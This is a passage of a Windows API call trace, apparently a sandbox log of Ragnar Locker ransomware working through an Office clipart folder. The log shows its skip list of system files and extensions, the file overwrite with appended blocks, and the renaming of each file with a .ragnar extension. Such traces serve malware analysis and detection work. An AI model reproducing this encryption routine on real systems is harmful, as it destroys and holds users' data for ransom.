[0084.280] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.281] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1 [0084.281] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.281] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107452.WMF" | out: lpString1="J0107452.WMF") returned="J0107452.WMF" [0084.281] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned=".WMF" [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="autorun.inf") returned 1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="boot.ini") returned 1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="bootfont.bin") returned 1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="bootsect.bak") returned 1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="bootmgr") returned 1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="bootmgr.efi") returned 1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="bootmgfw.efi") returned 1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="desktop.ini") returned 1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="iconcache.db") returned 1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="ntldr") returned -1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="ntuser.dat") returned -1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="ntuser.dat.log") returned -1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="ntuser.ini") returned -1 [0084.281] lstrcmpiW (lpString1="J0107452.WMF", lpString2="thumbs.db") returned -1 [0084.281] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.281] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.281] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.281] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.281] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.281] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.281] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 0x20 [0084.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.283] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21216) returned 1 [0084.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x52d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.283] GetProcessHeap () returned 0x580000 [0084.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.283] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.284] VirtualAlloc (lpAddress=0x0, dwSize=0x52e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.284] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.284] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.284] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x52e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x52e0, lpOverlapped=0x0) returned 1 [0084.285] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.285] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x52e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.285] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x52e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x52e0, lpOverlapped=0x0) returned 1 [0084.286] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x52e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.286] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.286] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x52e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.286] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.286] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.286] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.286] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.286] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.286] GetProcessHeap () returned 0x580000 [0084.286] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.286] CloseHandle (hObject=0xf4) returned 1 [0084.286] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" [0084.286] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.ragnar_FD7BD9FC" [0084.286] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.287] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1 [0084.287] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.287] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107456.WMF" | out: lpString1="J0107456.WMF") returned="J0107456.WMF" [0084.287] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned=".WMF" [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="autorun.inf") returned 1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="boot.ini") returned 1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="bootfont.bin") returned 1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="bootsect.bak") returned 1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="bootmgr") returned 1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="bootmgr.efi") returned 1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="bootmgfw.efi") returned 1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="desktop.ini") returned 1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="iconcache.db") returned 1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="ntldr") returned -1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="ntuser.dat") returned -1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="ntuser.dat.log") returned -1 [0084.287] lstrcmpiW (lpString1="J0107456.WMF", lpString2="ntuser.ini") returned -1 [0084.288] lstrcmpiW (lpString1="J0107456.WMF", lpString2="thumbs.db") returned -1 [0084.288] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.288] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.288] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.288] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.288] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.288] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.288] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 0x20 [0084.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.288] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3724) returned 1 [0084.288] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.288] GetProcessHeap () returned 0x580000 [0084.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.288] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.290] VirtualAlloc (lpAddress=0x0, dwSize=0xe8c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.290] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe8c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe8c, lpOverlapped=0x0) returned 1 [0084.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.290] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.290] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe8c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe8c, lpOverlapped=0x0) returned 1 [0084.290] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.290] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.291] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.291] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.291] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.291] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.291] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.291] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.291] GetProcessHeap () returned 0x580000 [0084.291] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.291] CloseHandle (hObject=0xf4) returned 1 [0084.291] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" [0084.291] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.ragnar_FD7BD9FC" [0084.291] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.292] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1 [0084.292] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.292] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107458.WMF" | out: lpString1="J0107458.WMF") returned="J0107458.WMF" [0084.292] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned=".WMF" [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="autorun.inf") returned 1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="boot.ini") returned 1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="bootfont.bin") returned 1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="bootsect.bak") returned 1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="bootmgr") returned 1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="bootmgr.efi") returned 1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="bootmgfw.efi") returned 1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="desktop.ini") returned 1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="iconcache.db") returned 1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="ntldr") returned -1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="ntuser.dat") returned -1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="ntuser.dat.log") returned -1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="ntuser.ini") returned -1 [0084.292] lstrcmpiW (lpString1="J0107458.WMF", lpString2="thumbs.db") returned -1 [0084.292] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.292] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.292] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.292] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.293] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.293] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.293] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 0x20 [0084.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.293] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3568) returned 1 [0084.293] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xde7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.293] GetProcessHeap () returned 0x580000 [0084.293] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.293] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.295] VirtualAlloc (lpAddress=0x0, dwSize=0xdf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.295] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.295] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.295] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdf0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdf0, lpOverlapped=0x0) returned 1 [0084.295] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.295] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdf0, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.295] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdf0, lpOverlapped=0x0) returned 1 [0084.295] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdf0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.295] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.296] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.296] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.296] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.296] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.296] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.296] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.296] GetProcessHeap () returned 0x580000 [0084.296] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.296] CloseHandle (hObject=0xf4) returned 1 [0084.296] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" [0084.296] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.ragnar_FD7BD9FC" [0084.296] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.297] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1 [0084.297] 